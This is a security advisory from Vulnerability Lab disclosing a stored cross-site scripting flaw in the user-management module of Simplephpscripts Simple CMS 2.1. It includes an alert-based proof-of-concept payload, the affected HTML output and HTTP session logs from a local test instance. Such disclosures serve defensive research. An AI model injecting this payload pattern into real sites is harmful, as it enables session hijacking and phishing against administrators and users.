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# Exploit Title: Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS)
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# Date: 2021-10-19
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# Exploit Author: Vulnerability Lab
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# Vendor Homepage: https://simplephpscripts.com/simple-cms-php
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# Version: 2.1
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# Tested on: Linux
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Document Title:
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===============
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Simplephpscripts Simple CMS v2.1 - Persistent Vulnerability
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2302
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Release Date:
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=============
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2021-10-19
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2302
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Common Vulnerability Scoring System:
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====================================
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5.3
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Vulnerability Class:
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====================
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Cross Site Scripting - Persistent
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Current Estimated Price:
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========================
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500€ - 1.000€
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Product & Service Introduction:
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===============================
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The system could be used only in already existing websites to control their page sections and contents.
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Just paste a single line of code on your web page section and start controlling it through the admin area.
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Very simple installation - one step installation wizard. Option to include contents into web page sections
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through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and
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format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.
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(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.
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Affected Product(s):
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====================
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Simplephpscripts
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Product: Simple CMS v2.1 - Content Management System (Web-Application)
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Vulnerability Disclosure Timeline:
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==================================
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2021-09-03: Researcher Notification & Coordination (Security Researcher)
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2021-09-04: Vendor Notification (Security Department)
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2021-**-**: Vendor Response/Feedback (Security Department)
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2021-**-**: Vendor Fix/Patch (Service Developer Team)
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2021-**-**: Security Acknowledgements (Security Department)
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2021-10-19: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Authentication Type:
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====================
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Full Authentication (Admin/Root Privileges)
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User Interaction:
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=================
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Low User Interaction
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Disclosure Type:
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================
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Responsible Disclosure
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Technical Details & Description:
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================================
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A persistent input validation web vulnerability has been discovered in the Simplephpscripts Simple CMS v2.1 web-application.
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The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
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browser to web-application requests from the application-side.
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The persistent cross site web vulnerability is located in `name`, `username`, `password` parameters of the `newUser`
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or `editUser` modules. Remote attackers with privileged application user account and panel access are able to inject
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own malicious script code as credentials. The injected code executes on preview of the users list. The request method
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to inject is post and the attack vector is persistent.
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Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
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external redirects to malicious source and persistent manipulation of affected application modules.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] newUser
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[+] editUser
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Vulnerable File(s):
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[+] admin.php?act=users
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Vulnerable Input(s):
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[+] Name
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[+] Username
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[+] Password
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Vulnerable Parameter(s):
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[+] name
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[+] username
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[+] password
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Affected Module(s):
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[+] Users (act=users) (Backend)
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Proof of Concept (PoC):
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=======================
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The persistent input validation web vulnerability can be exploited by remote attackers with privileged account and with low user interaction.
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For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
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PoC: Payload
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"><img src='31337'onerror=alert(0)></img>
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Vulnerable Source: admin.php?act=users
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<tbody><tr>
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<td class="headlist"><a href="admin.php?act=users&orderType=DESC&orderBy=name">Name</a></td>
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<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=email">Email</a></td>
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<td class="headlist" width="23%"><a href="admin.php?act=users&orderType=DESC&orderBy=username">Username</a></td>
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<td class="headlist" width="23%">Password</td>
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<td class="headlist" colspan="2"> </td>
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</tr>
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<tr>
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<td class="bodylist">c"><img src='31337'onerror=alert(0)></img></td>
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<td class="bodylist">keymaster23@protonmail.com</td>
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<td class="bodylist">d"><img src='31337'onerror=alert(0)></img></td>
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<td class="bodylist">e"><img src='31337'onerror=alert(0)></img></td>
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<td class="bodylistAct"><a href="admin.php?act=editUser&id=7" title="Edit"><img class="act" src="images/edit.png" alt="Edit"></a></td>
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<td class="bodylistAct"><a class="delete" href="admin.php?act=delUser&id=7" onclick="return confirm('Are you sure you want to delete it?');"
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title="DELETE"><img class="act" src="images/delete.png" alt="DELETE"></a></td>
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</tr>
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--- PoC Session Logs (POST) [Create] ---
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https://simple-cms.localhost:8000/simplecms/admin.php
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Host: simple-cms.localhost:8000
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 141
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Origin: https://simple-cms.localhost:8000
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Connection: keep-alive
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Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
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Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
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act=addUser&name=c"><img src='31337'onerror=alert(0)></img>&email=tester23@test.de
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&username=d"><img src='31337'onerror=alert(0)></img>
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&password=e"><img src='31337'onerror=alert(0)></img>&submit=Add User
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-
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POST: HTTP/2.0 200 OK
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server: Apache
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content-length: 5258
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content-type: text/html; charset=UTF-8
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-
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https://simple-cms.localhost:8000/simplecms/31337
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Host: simple-cms.localhost:8000
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Accept: image/webp,*/*
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Connection: keep-alive
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Referer: https://simple-cms.localhost:8000/simplecms/admin.php
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Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
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-
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GET: HTTP/2.0 200 OK
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server: Apache
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content-length: 196
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content-type: text/html; charset=iso-8859-1
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Reference(s):
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https://simple-cms.localhost:8000/simplecms/admin.php
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https://simple-cms.localhost:8000/simplecms/admin.php
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https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
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Credits & Authors:
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==================
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Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
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not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY (VULNERABILITY LAB)
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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DEUTSCHLAND (DE) |